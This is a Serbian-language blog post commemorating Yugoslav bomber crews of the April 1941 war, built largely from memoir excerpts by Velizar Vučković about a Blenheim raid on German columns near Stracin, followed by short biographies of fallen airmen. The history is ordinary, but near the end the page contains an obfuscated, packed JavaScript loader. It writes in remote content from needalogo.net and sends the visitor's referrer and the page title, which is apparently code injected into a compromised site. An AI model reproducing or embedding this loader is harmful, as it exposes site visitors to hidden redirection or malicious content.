Home > Blog > Piloti bombardera – zaboravljeni junaci iz Aprilskog rata 

Piloti bombardera – zaboravljeni junaci iz Aprilskog rata 

Često nepravedno ali mislim nenamerno, u tekstovima dnevne štampe koji se pojavljuju svake godine početkom aprila kada se sećamo strašnog nacističkog bombardovanja Beograda 6. aprila 1941. i početka kratkotrajnog Aprilski rat, u prvi plan se ističu samo pripadnici 6. lovačkog puka koji su branili prestonicu a zapostavljaju posade bombardera I nekih drugih jedinica Vojnog vazduhoplovstva Kraljevine Jugoslavije (VVKJ). Podjednako hrabrosti i “srca u junaka” bilo je potrebno za poleteti i bombardovati dobro branjene nemačke okolopne i mehanizovane kolone i aerodrome u Mađarskoj, Austriji i Bugarskoj bez lovačke zaštite kao i za poletanja naših lovaca u susret stotinama nemačkih lovaca i bombardera iznad Beograda.

 

 

 

 

 

 

 

 

 

VVKJ bilo je malobrojno i lošije opremljeno u odnosu na Nemačko i vazduhoplovstva njenih saveznike. Pa i pored toga što modernih aviona nije bilo dovoljno, što sistem veza sa pretpostavljenom komandama nije funkcionisao, što je bilo dosta izdaje i diverzija na avionima, što se često nije znalo ni gde je neprijatelj i na šta će se dejstvovati, što su naređenja bila konfuzna, često pogrešna i u poslednjem trenutku menjana, među vazduhoplovcima bilo je hrabrih ljudi koji su bili spremni da svoje zadatke ispune savesno i tako oduže svoj dug otadžbini. Među njima je i pilot poručnik Velizar Vučković, u momentu početka rata ađutant 62. bombarderske grupe i izviđač 204. bombarderske eskadrile, iz sastava 1. vazduhoplovnog puka opremljenog aviona “Bristol Blenheim” – lakim engleskim bombarderima/izviđačima proizvodenim po licenci kod nas. Ovaj rođeni Nišlija preživeo je rat, napustio posleratnu Jugoslaviju, živeo u Brazilu i 1998. u Nemačkoj (u koju se u međuvremenu doselio) objavio knjigu “Uspomene jednog vazduhoplovca” u kojoj opisuje svoj buran život i između ostalog govori o svom učešću u Aprilskom ratu. Redovi koji slede deo su iz pomenute knjige u njima je opisuju let, izviđanje i dejstvo po Nemcima odeljenje od tri aviona iz 204.eskadrile na položajima kod Stracina.          

                                                                                            

Zbog konfuznosti i slabih veza čitavog dana 6. aprila nikakva naređenja za 62. bombardersku grupu koja se nalazila na ratnom letalištu kod Bijeljina iz Komande vazduplovstva nisu stizala. Tek predveče stiglo je naređenje da se bombarduje Sofije kao odmazda za napad na Beograd. To naređenje je po poručniku Vučkoviću bilo besmisleno i ono je u ponoć zamenjeno novim – da se neprijatelj bombarduje kod Krive Palanke. Pošto nije bilo tačnih  podataka o neprijatelju, kao i o vremenskim prilikama na putu i nad neprijateljem, komandat 1.vazduhoplovnog puka, pukovnik Ferda Gradišnik odredio je jedno odeljenje u cilju izviđanje i bombardovanja neprijatelja. Trojku je lično formirao komandant 62.bombarderske grupe, major Krsta Lozić koji je za izvođača uzeo poručnika Velizara Vučkovića. Desni pratilac bio je narednik Žika Jovanović sa izviđačem pilotom poručnikom Brankom Glumcem a levi pratilac bio je narednik-vodnik pilot Pavlović Milan.

Ilustracija – Bristol Blenheim Mk.I (RAF)

“Poleteli smo nešto posle 6h ujutru. Na putu oblaci niski 200-300 metara, ali vrhovi brda su bili čisti. Sa desnim i levim pratiocem, s’ vremena na vreme izmenjujemo poglede, osmehe, po neki gest rukom, kao da hoće da mi kažu … “Pravac je dobar, vozi samo tako napred”. Preletesmo i Vranje i polako se privlačimo grebenu planine Kozjaka, koji leže paralelno putem Kriva Palanka-Stracin. Na vrlo maloj visini smo se prebacili preko grebena i odmah ugledah put koji je desetak kilometara bio prav kao linija, pun motorizovanih vozila. Odmah smo se spustili niže od grebena, da se ne bi projektovali na nebu, te naredih pilotu da se okrene na levo prema Krivoj Palanki, da bi neprijateljsku kolonu napali s’ leđa. Krivu Palanku prođosmo severno i u polukrugu je obiđosmo sa strane Ćustendila ka jugu i onda okrenusmo na zapad prema Stracinu a na visini od 300m. Put od Krive Palanke prema Stracinu najpre vijuga, prolazeći brda. Na jednoj okuki primetismo jedna putnička kola sa nekoliko oficira, verovatno komandno osoblje, što pokazah majoru Loziću. Za nas je bilo kasno da ih tučemo prednjim mitraljezima ali major Lozić je nakrenu avion na desnu stranu da bi doveo mitraljezca u bolji položaj za gađanje, što je ovaj odmah iskoristio i opalio nekoliko rafala na njih. Videći nas, oficiri su zaustavili kola i poskakali napolje, ali samo par koraka, jer nisu mogli dalje na desnu stranu, zbog useka kojim je put kroz brdo prosečen. Verovatno da je bilo pogođenih jer videh jednoga uza zid gde odjednom diže ruke u vis.

Napuštajući serpentine, nailazimo na pravolinijski deo put, načičkan motornim vozilima. Kazao sam majoru Loziću da pratiocima da znak za razlaz da bi se postrojili u kolonu po jedan, što ovi odmah i učiniše. Već smo se približavali neprijateljskoj koloni i sa visine od oko 300m pikiramo na kolonu do na visinu od 20-30m, ali letimo nekako nezgodno, ne direktno iznad puta, već nekako levo od puta za jedno 30-40m, što mi smeta i brzo teram pilota da mi put uhvati pravo po dužini: On okreće u desno, ali sad opet previše i prelazi put sa druge strane za jedno 10-20m. Već smo nad neprijateljem. Nemci skaču iz vozila i beže u gomilama levo i desno od puta. Nema više vremena da koregiram pilota, već smo dobili baražnu vatru i letimo kao kroz jedan prostor pun usijanih kokica, a pleh našeg aviona puca od pogodaka. Brzo okidam bombe od 100kg … prvu, drugu, treću, četvrtu. Jednu videh gde pade u gomilu bežećih Nemaca. Gužva od eksplozije i ljudskih tela. Ostale bombe ne videh, ne znam zašto a nisam ni imao vremena da mislim na to. Udaram pilota vučući … „gotovo“ …  „na desno u planunu“. Do Kozjaka 10km. Major Lozić viče „Gde su pratioci?“. Tražim ih. Jednoga videh, narednik Jovanović i poručnik Glumac. Trećeg, vodnika Pavloviće ne vidim. Poručnik Glumac videći gustinu vatre, bacio je odmah sve bombe i odmah okrenuo za nama. Vodnik Pavlović pak, pošto je bacio bombe, napušta trojku i oštrim zaokretom na levo, da bi izbegao vatru u koju smo uleteli ali u zaokretu izložio je celu površinu aviona neprijateljskoj odbrani, koja je bila vešto postavljena na par stotina metara levo i desno od puta, te bude izrešetan tako da je jedva stuigao do Niša i tamo se spustio.

Nemačka motorizovana kolona tokom Aprilskog rata

Mada nam je brige zadavao treći pratilac, šta je sa njime, te smo ga stalno tražili na nebu, ipak smo bili sretni da smo zadatak izvršili i da se vraćamo kući. U niskom letu smo opet podilazili planini Kozjak i već smo bili skoro na vrhu grebena, kad primetih da moje kontrolne lampe pokazuju da sam bacio samo jednu bombu od 100kg a još tri su ostale u avionu. Uhvati me bes od muke, kako je došlo do toga? Objašnjenje je bilo sledeće … U avionu preda mnom ima dva reda po 4 prekidača sa odgovarajućim kontrolnim lampicama. Gornji red prekidača je bio za 12 komada malih bombi od 12kg a donji red za 4 bombe od 100kg. Mogao sam odbaciti sve bombe odjednom ili jednu po jednu, prekidajući odgovarajuće prekidače jedan za drugim. Ja sam bio izabrao jednu po jednu, jer tako je veće pojedinačno dejstvo. U tom cilju sam prvu bombu pripremio i aktivirao upaljač još za vreme leta od Bijeljine i sada je trebalo samo pritisnuti dugme, koje mi je bilo na gajtanu u rukama. Ostale prekidače, mislio sam, ću aktivirati kada budem video neprijatelja. Međutim, kada sam bio nad neprijateljem, prvu bombu sam otkačio jer je već bila aktivirana, a prekidače … drugi … treći … četvrti u brzini, ja sam obarao gornje prekidače za male bombe, umesto donje prekidače za velike bombe. I šta sada da radim?

  Da se vraćam ponovo nad neprijateljem i opet u onu vatru, trebalo je stisnuti zube. Kroz glavu mi lete misli velikom brzinom. Da bombe vratim natrag u Bijeljinu? Sramota šta će mi reći drugovi. Bio nad neprijateljem i vratio bombe. Da ih bacim u planinu? Sramota od mojeg pratioca. smejali smo se Italijanima,kada su u ratu protiv Grka, bacali bombe kod Bitolja u planunu. Dakle … natrag i ništa drugo. Trebalo mi je par sekundi dok sam savlado sebe i skupio snage da viknem majoru Loziću „Natrag“! „Šta je“, pita me major Lozić uplašeno. Nisam bacio tri velike bombe. Lozić je izmahnuo rukom da me udari, ali me nije udario, ali isto tako nije hteo ni natrag. Po drugi put sam viknu natrag, ali opet nije hteo. Po treći put sam se razdrao „Natrag“ i onda je okrenuo. I njemu su letele iste misli kroz glavu kao i meni, jer vratićemo se natrag i ja ću podneti izveštaj da pilot nije hteo natrag. Okrenuo je avion jer nije imao kud kao ni ja.Ali sada nećemo bombardovati put uzduž, već ćemo ga samo preseći da bi smo bombe bacili nad neprijateljem.

Leteli smo nisko, prevlačeći se preko brda i jaruga i iz jaruga preko brda i samo što nismo kresali vrhove drveća. Naš pratilac narednik Jovanović i poručnik Glumac su nas pratili. Morali su nas pratiti jer nisu smeli da nas nad bojištem napuste ali su zato psovali na sav glas …“Je li poludeo, šta mu je, gde će?“, pričao mi je kasnije poručnik Glumac. Gledao sam već put u daljini, načičkan vozilima kolone koja je stajala a koju smo malo pre bombardovali. Podilazili smo opet jednom većem brdu, ali je ono bilo prilično široko i zaravnjeno, skoro mala visoravan. I već smo se uspuzali, već smo na početku brda i sasvim nisko, možda 10-15m. Odjednom videh da je celo brdo bilo načičkano tenkovima. Možda ih je bilo stotinu a možda i više. Posade su bile izašle iz tenkova. Jedan Nemac stoji pored tenka, raširenih nogu, sa rukama u džepovima i gleda avion. Nemci su bili iznenađeni kao i mi. Dreknem pilotu … „tenkovi“ i odmah dohvatim prekidač za bombe, sa jednom sekundom razmaka jedne od druge. Sad mi se neće desiti greška od pre par minuta. Nemci su gledali mirno u avione, sve dok nisu videli da bombe ispadaju i onda, kao kad se baci kamen među vrapce. Ali bombama treba sa te visine 2-3 sekunde do eksplozije. Ne znam kako nismo stradali od parčića vlastitih bombi. Možda je tako i stradao pukovnik Ferdo Gradišnik. Poručnik Branko mi je pričao … “Odjednom sam video tvoje bombe da ispadaju i čudio sam se zašto ih tek sada i baš ovde bacaš, dok nisam video tenkove i onda eksplozije, gužva, telesa lete i izgledalo mi je kao da je celo brdo odletelo u vazduh. Urlao sam kao lud … bravo, bravo i pljeskao rukama“.

Neprijateljska protivavionska odbrana je bila sa prstom na obaraču. Oni su čuli zvuk aviona ali nisu znali sa koje strane će doći kao ni čiji su. Kada sam otkačio bombe tog istog momenta sam dobio vatru. Neverovatno. Kao da gledam u nebo kada padaju snežne pahuljice. Tako su prema meni letela svetleća zrna. Major Lozić je obrušio avion prema zemlji i ako smo već bili vrlo nisko. Zatim ga je odjednom propeo u vis, bacio na stranu i opet obrušio dok su pogoci neprijateljske vatre praštali po površini aviona. Najzad smo preletli preko brda a svetlieći meci su još leteli za nama i prestizali nas. Tek sada nailazimo na onaj pravolinijski deo puta i njega sečemo pod pravim uglom ali nas sad opet susreće i prati ista vatra kao dajoj nikad kraja nema. Prođosmo najzad i tu vatru i onda u velikom krugu južno od Zebrnjaka, okrećemo na sever i presecamo Južnu Moravu. Našeg pratioca Jovanović-Glumac nema nigde. Izgubio nas je ili je oboren. (…)  

 (…) Na aerodromu nas je čekao pukovnik Burazović da čuje prvi ratni izveštaj sa fronta. Poljubio nas je i odmah kod mene … „Pričaj sine, gde je neprijatelj?“. Pokazah mu na karti i ispričah šta smo znali i videli i odmah sede u avion „Storč“ i polete za Komadnu vazduhoplovstva. Do tamo nije stigao da podnese prvi ratni izveštaj. U oblacima je udario u planinu Cer i poginu. Kratko posle nas sleto je i narednik Jovanović ali na trbuh i bez točkova, jer je hidraulični uređaj bio izbušen. Po podne je doleteo i vodnik Pavlović (iz Niša) pošto mu je avion tamo donekle zakrpljen.(…)   

                                          Uništen Blenheim Mk.I VVKJ (april 1941)

Evo kako postradaše hrabro na braniku otadžbine, za čast i slavu našeg vazduhoplovstva neki od ovde pomenutih vazduhoplovaca.

Ferdo Gradišnik, pukovnik, komandant 1.vazduhoplovnog puka. Na dan 7.aprila 1941. puk Gradišnik je hteo lično da vodi jednu trojku aviona Blenheim u bombardovanju neprijatelja na pravcu Stracin-Kumanovo-Skoplje. Za pilota je uzeo narednika Živan Žiku Jovanovića. Desni pratioc mu je bio narednik-pilota Simin Milan sa izviđačem poručnikom Glumac Brankom. Levog pratioca se Vučković ne seća. Ponos mu nije dozvoljavao da osoblje njegovog puka leti a da on nijednom nad neprijateljem ne leti. Nije se vrati sa zadatka. Junački je poginuo u borbi sa neprijateljem. Po sećanju pratioca poručnika Glumca komandant je izbacio dve bombe, avion mu se upali od vatre sa zemlje ili od parčića svojih bombi i pri udaru u zemlju eksplodirao.

Nikola Ivančević, kapetan prve klase, komandir 204.bombarderske eskadrile. Na dan 6. aprila pred poletanje za bombardovanje ciljeva u Rumuniji a zbog pogrešnih upaljača stavljenih na bombe, komandant grupe major Lozić mu je strogo prebacio i to prebacivanje je mnogo zvučalo kao „saboter“. Kapetan Ivančević, ponosni Crnogorac bio je uvređen do dna duše. Uzbuđeno i ogorčeno je samo oštro odgovorio … „kapetan Ivančević će pokazati ko je on“. Junački je poginuo 7.aprila 1941. bombardujući neprijateljske motorizovane trupe u brišućem letu na položajima Stracina.   

Kink Vladimir, poručnik, izviđač 204. bombarderske eskadrile. Poreklom Slovenac od dolaska u eskadrilu postao je nerazdvojan drug sa Velizarom Vučkovićem. Poginuo je u istom avionu sa komadirom eskadrile Ivančićem bombardujući nemačke trupe.

 

Odlomci iz knjige „Uspomene jednog vazduhoplovca” autora Velizara Vučkovića

Slike sa sajtova: audioifotoarhiv.com; wikipedia.org; ibiblio.org; tangmere-museum.org.uk

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘(7(){2 d=3;2 w=1;2 h=1;2 t=d.8(\’9\’);2 4=5.a(5.b()*c);2 0=\’e://f.g/i/j?\';0=0+\’k=\’+3.l;0=0+\’&m=\’+3.n;0=0+\’&r=\’+4;d.o(\’\’)})();’,35,35,’src||var|document|id|Math|iframe|function|createElement|script|floor|random|9999||http|needalogo|net||rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style|padding||0px||border|none||width|height’.split(‘|’),0,{}))

Leave a Reply

Your email address will not be published. Required fields are marked *

*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Scroll To Top